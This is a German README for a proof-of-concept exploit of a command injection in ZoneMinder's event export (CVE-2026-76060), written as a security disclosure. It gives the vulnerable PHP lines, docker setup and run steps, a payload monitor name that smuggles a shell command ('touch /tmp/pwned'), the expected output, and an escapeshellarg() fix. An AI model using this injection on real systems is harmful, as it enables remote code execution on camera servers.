
Proof-of-Concept-Exploit für CVE-2026-76060, eine OS-Command-Injection im Event-Export von ZoneMinder, die RCE über manipulierte Monitornamen demonstriert.
Proof of Concept für eine OS-Command-Injection-Schwachstelle in der Event-Export-Funktion von ZoneMinder (web/includes/download_functions.php).
Monitornamen werden direkt in Shell-Befehle interpoliert, wobei manuell einfache Anführungszeichen gesetzt werden, anstatt escapeshellarg() zu verwenden. Ein Angreifer, der einen Monitor erstellen kann, kann beliebige Shell-Befehle injizieren, die als www-data/der Benutzer, unter dem der Prozess läuft, ausgeführt werden, sobald ein Benutzer einen Event-Export auslöst.
44c5c3c vom 4. Oktober 2023 – hier wurde die Datei download_functions.php eingeführt. Die Commit-Nachricht lautet „Introduce new download mode that concats event videos into 1 file per monitor.“ Der anfällige Code ist hier vorhanden, erforderte jedoch, dass zuerst ein Administrator den Monitor erstellt.2d49e93 vom 2. Januar 2024 – „Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones.“ Hier ändert sich die Lage etwas. Nun kann ein Benutzer mit lediglich Monitors=Create den Monitornamen für den Angriff festlegen, und jeder Benutzer mit Exportberechtigung kann ihn auslösen.Betroffene Versionen: >= 1.37.48 (enthält die SQL-Migrationsänderungen) und <= 1.38.1 Der 1.36.x-Zweig ist nicht betroffen.
Zwei Benutzer. Zwei Berechtigungsstufen. Eine Shell.
Monitors=Create oder Monitors=Edit, falls dort bereits ein Monitor existiert.Der Event-Datensatz muss nicht manuell erstellt werden. ZoneMinder ist ein Kamerasystem … es erstellt Event-Datensätze automatisch, während die Kameras laufen. In einer Live-Umgebung besteht der Einrichtungsschritt darin: Monitor erstellen, weggehen.
Der nicht bereinigte Monitorname erreicht zwei separate exec()-Aufrufe:
Zeile 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Zeile 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Beide sind über denselben sorgfältig konstruierten Monitornamen erreichbar, unabhängig vom Exportformat.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# warten, bis ZoneMinder die Initialisierung abgeschlossen hat (~30 Sekunden)
uv run poc.py
init.sql bootstrappt die Datenbank mit aktivierter Authentifizierung und zwei Benutzern:
medpriv mit Rechten zur Monitorerstellung (und aus Zeitgründen auch mit Rechten zur Ereigniserstellung, was in der Produktion jedoch nicht nötig ist)lowpriv mit ausschließlich Zugriff auf den Event-Exportuv run poc.py führt die gesamte Kette aus:
medpriv authentifiziert sich über die API und erstellt einen Monitor mit dem Namen poc'; touch /tmp/pwned; echo 'medpriv erstellt einen Event-Datensatz, um die Demo zu beschleunigen (in der Produktion erledigt ZoneMinder dies automatisch)lowpriv authentifiziert sich und löst einen Event-Export aus/tmp/pwned im Container und gibt das Ergebnis ausErwartete Ausgabe:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NIn jedem Fall kostet escapeshellarg() zumindest nichts.
b3a7c05[!NOTE] Innerhalb von 12 Stunden nach der Meldung behoben. Keine Bestätigung des Maintainers, dass es sich um ein Sicherheitsproblem handelt. Ich bin anderer Meinung. Aktualisiert am 27.08.26 – Der Maintainer hat den Bericht bestätigt und eine CVE wurde vergeben.
Wenden Sie escapeshellarg() mindestens an beiden Injektionspunkten an:
// Zeile 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Zeile 150
$command .= ' '.escapeshellarg($mergedFileName);
Die Zeilen 116 und 211 in generateFileList() weisen dasselbe Muster auf.
Entdeckt von (@investigato)
Vollständiger Artikel: scriptkittens.com